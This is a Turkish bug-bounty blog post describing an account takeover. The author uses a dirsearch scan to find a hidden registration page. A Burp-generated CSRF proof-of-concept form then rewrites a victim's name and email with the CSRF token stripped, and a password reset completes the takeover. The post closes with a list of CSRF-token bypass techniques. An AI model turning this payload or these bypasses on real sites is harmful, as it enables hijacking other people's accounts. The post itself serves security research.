PENTEST HİKAYELERİ 1

4 years ago 159
BOOK THIS SPACE FOR AD
ARTICLE AD

Mert Daş

Daha önceki makalemde günlük sadece bir zafiyet üzerinden araştırma yaptığımı söylemiştim. Fakat bazen hislerime göre hareket ediyorum.

Bu sefer recon işlemlerimi yaparken gözüme bir subdomain takıldı. Sadece giriş ekranı bulunmaktaydı. Buraya kullanıcılar giriş yapıyordu tamam ama nasıl üye oluyorlardı? Register butonu olmayan sadece giriş ekranı olan bir websitesinde sadece giriş ekranına SQL Injection deneyebilirdiniz.

Bu noktada ben biraz daha atak senaryomu genişletmek adına önüme çıkmayan directoryleri bulmak için dirsearchle tarama yapmayı denedim.

Syntax: python3 dirsearch.py -u “https://site.com/” -w /wordlist/yolunuz/wordlist.txt -e html,php,json -x 403,401,404,301,302

“Sevgili Dirsearch , https://site.com’a git , belirtmiş olduğum wordlist içerisindeki directory isimlerini dene , içerisindeki html , php ve json dosyalarını bana göster,terminalde 403,401,404,301,302 status kodlarını veren işime yaramayacak directoryleri gösterme”

Karşıma register isimli klasörü çıkartmıştı.

Hemen girip üye oldum , mailime gelen aktivasyonu onayladım. İçime doğan ilk yöntemi denedim.

İlk önce profilime gidip Burp suite ile isteği yakaladım

Ardından kullanıcı adımı ve email adresimi değiştirdim ve submit butonuna tıkladım.

Burp suite ile isteği forward ettiğimde gelen isteğe sağ tıklayarak CSRF POC oluşturdum.

Oluşturduğum poc’daki email ve kullanıcı adını saldırgan kullanıcı adı ve mail’i ile değiştirdim. POC içerisindeki Csrf tokenı tamamen kaldırdım. POC şu şekildeydi ;

<html>
<! — CSRF PoC — generated by Burp Suite Professional →
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action=”https://members.site.com/set/profile/full/" method=”POST”>
<input type=”hidden” name=”command” value=”profile” />
<input type=”hidden” name=”name” value=”hacked” />
<input type=”hidden” name=”email” value=”mertbugbounty&#64;gmail&#46;com” />
<input type=”hidden” name=”memberlogo” value=”” />
<input type=”hidden” name=”session” value=” “ />
<input type=”hidden” name=”projectid” value=”1202403" />
<input type=”hidden” name=”pageid” value=”” />
<input type=”hidden” name=”pageurl” value=”https&#58;&#47;&#47;subdomain&#46;33site&#46;ru&#47;members&#47;” />
<input type=”hidden” name=”timezone” value=”240" />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>

Yakaladığım isteği html sayfası olarak kaydettim. Tek ihtiyacım kurbana göndermekti. Gönderdiğim Poc’da sadece submit butonu gören kurban buna tıkladığı anda hesap benimdi.

Zaferimi perçinlemek adına kurban submit butonuna tıkladığı andan hemen sonra değişen email adresine parola yenileme isteği gönderdim. Hesap artık tamamen benimdi ve kurban hesabını kaybetmişti.

CSRF zafiyetini exploit etmenin bir kaç yolu var ..

CSRF Token’ı tamamen silinCSRF Token’ın uzunluğunda rastgele bir token yazınHtml injection zafiyeti varsa bunu kullanınXss zafiyeti varsa Xss zafiyetini kullanınCsrf Tokenları decode edin.Tokenların bazı statik bölümlerini kullanın

Bu şekilde CSRF zafiyetini exploit edebilirsiniz.

Read Entire Article